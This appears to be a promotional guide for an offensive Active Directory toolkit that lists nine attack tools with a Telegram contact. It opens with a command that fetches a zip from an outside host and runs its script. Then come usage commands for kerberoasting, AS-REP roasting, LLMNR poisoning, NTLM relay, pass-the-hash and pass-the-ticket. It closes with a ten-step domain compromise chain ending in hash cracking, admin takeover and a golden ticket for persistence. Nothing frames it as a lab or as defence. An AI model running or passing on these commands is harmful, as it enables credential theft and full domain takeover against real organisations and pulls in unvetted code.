TOOLKIT 3: AD_ATTACK — COMPLETE GUIDE

By Mr Pilot Annis | Contact: t.me/rick_ene | 9 Tools

DOWNLOAD

```
wget https://tool.electronichubb.com/Toolkit_3_AD_Attack.zip
unzip Toolkit_3_AD_Attack.zip -d ~/toolkits/AD_Attack
cd ~/toolkits/AD_Attack && python3 ad_attack.py
```

TOOLS

1. kerberoast.py — Kerberoasting

```
Request Kerberos service tickets for SPN accounts, extract for offline cracking.
python3 kerberoast.py --domain target.local --user user --pass pass --output hashes.txt
python3 kerberoast.py --domain target.local --dc-ip 10.0.0.1 --spn-filter "MSSQL*"
```

2. asreproast.py — AS-REP Roasting

```
Find accounts without Kerberos preauth and crack their hashes.
python3 asreproast.py --domain target.local --dc-ip 10.0.0.1 --users users.txt
```

3. bloodhound_collector.py — BloodHound Collector

```
Collect AD data for BloodHound: users, groups, sessions, ACLs.
python3 bloodhound_collector.py --domain target.local --user user --pass pass --output
bh-data
```

4. llmnr_poison.py — LLMNR/NBT-NS Poisoning

```
Poison LLMNR/NBT-NS to capture NTLM hashes on LAN.
python3 llmnr_poison.py --interface eth0 --output captured-hashes.txt
```

5. ntlm_relay.py — NTLM Relay

```
Relay captured NTLM authentication to other services.
python3 ntlm_relay.py --target 10.0.0.5 --interface eth0
```

6. pass_the_hash.py — Pass-the-Hash

```
Authenticate using NTLM hash instead of password.
python3 pass_the_hash.py --target 10.0.0.5 --user admin --hash HASH
```

7. pass_the_ticket.py — Pass-the-Ticket

```
Use Kerberos tickets for authentication without password.
python3 pass_the_ticket.py --ticket ticket.kirbi --target 10.0.0.5
```

8. ad_enum.py — AD Enumeration

```
Enumerate AD: users, groups, computers, GPOs, trusts.
python3 ad_enum.py --domain target.local --user user --pass pass --all
```

9. gpo_abuse.py — GPO Abuse

> Exploit misconfigured GPOs for privilege escalation.
> python3 gpo_abuse.py --domain target.local --user user --pass pass --find

ATTACK CHAIN: AD COMPROMISE

```
# Step 1: Initial access (from phishing or exploit)
# Step 2: Enumerate AD
python3 ad_enum.py --domain target.local --user user --pass pass --all

# Step 3: Kerberoast service accounts
python3 kerberoast.py --domain target.local --user user --pass pass --output hashes.txt

# Step 4: Crack hashes offline
hashcat -m 13100 hashes.txt rockyou.txt

# Step 5: Collect BloodHound data
python3 bloodhound_collector.py --domain target.local --user user --pass pass --output bh-data

# Step 6: Find attack paths in BloodHound
# Step 7: LLMNR poisoning for more hashes
python3 llmnr_poison.py --interface eth0

# Step 8: NTLM relay
python3 ntlm_relay.py --target 10.0.0.5 --interface eth0

# Step 9: Pass-the-hash to admin
python3 pass_the_hash.py --target 10.0.0.1 --user administrator --hash ADMIN_HASH

# Step 10: Golden ticket for persistence
python3 golden_ticket.py --domain target.local --krbtgt-hash KRBTGT_HASH --user fakeadmin
```

By Mr Pilot Annis | Contact: t.me/rick_ene